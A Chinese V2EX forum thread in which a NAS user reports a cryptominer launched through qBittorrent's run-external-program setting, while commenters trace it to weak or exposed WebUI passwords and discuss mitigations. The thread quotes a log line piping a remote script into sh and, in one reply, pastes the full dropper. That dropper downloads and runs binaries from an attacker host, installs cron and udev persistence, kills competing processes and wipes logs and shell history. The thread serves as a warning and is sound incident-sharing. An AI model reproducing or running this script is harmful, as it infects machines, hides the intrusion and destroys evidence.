V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要把任何和邀请码有关的内容发到 NAS 节点。

邀请码相关的内容请使用 /go/in 节点。

如果没有发送到 /go/in,那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动,会导致账号被禁用。
Sanarara
V2EX  ›  NAS

要注意, qBittorrent 自动运行 torrent 传播的挖矿脚本

  •  
  •   Sanarara · 1 天前 · 4014 次点击
    - 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
    - ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
    - kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
    - 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
    - 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*********”。命令:`sh -c "(curl -skL https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"`”
    - 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
    - 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
    TeslaLyon
        1
    TeslaLyon  
       1 天前
    villivateur
        2
    villivateur  
       1 天前
    话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
    k9982874
        3
    k9982874  
       1 天前 via Android
    官方源的包不会有问题,你的 qb 安装自不明脚本?
    Sanarara
        4
    Sanarara  
    OP
       1 天前
    @k9982874 群晖矿神 5.0.3 的包,已更换 docker
    villivateur
        5
    villivateur  
       1 天前   ❤️ 3
    而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
    cat
        6
    cat  
       1 天前   ❤️ 26
    @Sanarara 矿神…… 不拿你挖矿对得起这名字吗 doge
    ysc3839
        7
    ysc3839  
       1 天前 via Android
    那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
    iislong
        8
    iislong  
       1 天前 via Android
    我的一切正常
    Sanarara
        9
    Sanarara  
    OP
       1 天前
    #!/bin/sh
    ARCH=$(uname -m)
    FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
    if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
    (ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
    if [ "$ARCH" = "x86_64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    elif [ "$ARCH" = "aarch64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    else
    exit 1
    fi
    fi
    (if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
    (if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
    UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
    (if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
    (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
    (rm $HOME/.bash_history) >/dev/null 2>&1
    (history -c) >/dev/null 2>&1
    Sanarara
        10
    Sanarara  
    OP
       1 天前
    @ysc3839 那-----我观望下是不是弱口令
    Sanarara
        11
    Sanarara  
    OP
       1 天前
    @villivateur 原来如此,但是更恐怖了啊
    idclight
        12
    idclight  
       1 天前
    百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin
    kklove77
        13
    kklove77  
       1 天前
    遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了
    huguadao
        14
    huguadao  
       1 天前
    我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选
    StarsunYzL
        15
    StarsunYzL  
       1 天前
    qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢
    ilvsxk
        16
    ilvsxk  
       1 天前
    @cat #6 哈哈哈,说的太对了!
    NG6
        17
    NG6  
       1 天前
    能用官方的尽量用官方的,不要安装来路不明的软件
    Sanarara
        18
    Sanarara  
    OP
       1 天前
    在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件
    Leon777
        19
    Leon777  
       1 天前
    我不是矿神
    wwd179
        20
    wwd179  
       1 天前
    你的 qb 被爆破了吧?
    可以用 fail2ban 啥的,搞基于日志的防爆破。
    konakona
        21
    konakona  
       1 天前
    好多年没用过种子下载了……
    will800
        22
    will800  
       1 天前
    @ysc3839 #7 windows 自带的杀毒扫描不出吗?
    vpsvps
        23
    vpsvps  
       1 天前   ❤️ 1
    谢谢提醒!
    已卸载全部群晖上的所有矿神源提供的软件!
    yangzzzzzz
        24
    yangzzzzzz  
       1 天前
    qb 外网端口我都没开
    vpsvps
        25
    vpsvps  
       1 天前
    居然设置后门!
    真服了

    点开已安装套件页面
    进入软件界面
    看到发布者是矿神 XXX 的
    我都把卸载了
    kaedeair
        26
    kaedeair  
       1 天前
    @villivateur #2 什么事情都有两面性,本质上是一个 action 的 hook 。最简单的用法就是缓存盘下完转移到储存盘和转移给 tr 保种
    A3m0n
        27
    A3m0n  
       1 天前
    @villivateur 我是用这个功能来发送下载完成的通知的。
    BrontByte
        28
    BrontByte  
       1 天前
    盲猜用了反代 还开了 qb 的"对本地主机上的客户端跳过身份验证"选项
    huangsijun17
        29
    huangsijun17  
       1 天前
    @villivateur #5 bash 是机器自带的吧,我运行 bash 下一个 sh 下来不就完了?而且 bash 一句话 getshell 多简单呢?
    wsbqdyhm
        30
    wsbqdyhm  
       1 天前
    有没有改默认密码?没有改那 100%是爆破了,其次不要公网映射或者映射为一些常见端口,最后你提到设置那个开关默认是没有打开的
    salmon5
        31
    salmon5  
       23 小时 46 分钟前
    不懂问下:qBittorrent 不是一个下载客户端吗?怎么还有弱口令?
    Sanarara
        32
    Sanarara  
    OP
       23 小时 34 分钟前 via iPhone
    @wsbqdyhm 非默认,后发现密码泄漏,有人一直在扫,更换域名后安静如鸡
    manshisan
        33
    manshisan  
       23 小时 25 分钟前
    @cat 人家无偿给小白提供服务,你还拿他名字开玩笑,就这一堆人觉得你说的对。我是看不懂。
    wsbqdyhm
        34
    wsbqdyhm  
       23 小时 15 分钟前 via iPhone
    @vpsvps #25 看了本帖之后 op 的回复,我又装了好几个矿神的,哈哈
    Rorysky
        35
    Rorysky  
       22 小时 59 分钟前
    不知道 这个 wget --no-check-certificate https://files.synotech.studio/1 下载的文件是干什么的
    exiahan
        36
    exiahan  
       22 小时 52 分钟前 via Android
    @cat 哈哈哈哈牛哇,正在吃饭看到没绷住差点喷米线😂
    CEBBCAT
        37
    CEBBCAT  
       21 小时 59 分钟前
    省流:乌龙
    SakuraYuki
        38
    SakuraYuki  
       21 小时 41 分钟前
    还是用 tailscale 或者 surge 之类的 vpn 把 nas 包起来安全点
    Greendays
        39
    Greendays  
       20 小时 24 分钟前
    qbit 改密码的流程好迷啊
    jqtmviyu
        40
    jqtmviyu  
       13 小时 43 分钟前
    加域名白名单或者改端口, 弱密码+暴露默认端口, 早晚被爆破.
    iislong
        41
    iislong  
       12 小时 2 分钟前 via Android
    @salmon5 应该是和我一样开了公网访问,不过我开的公网服务不是上两步验证就是套了 cf zero 认证
    tbc0309
        42
    tbc0309  
       11 小时 45 分钟前 via iPhone
    @Leon777 在此……
    源都运行四年了,这点屁事还要我来背锅?
    xycost233
        43
    xycost233  
       2 分钟前
    问一问有没有好用的 homelab 探针
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2889 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 22ms · UTC 03:57 · PVG 11:57 · LAX 19:57 · JFK 22:57
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.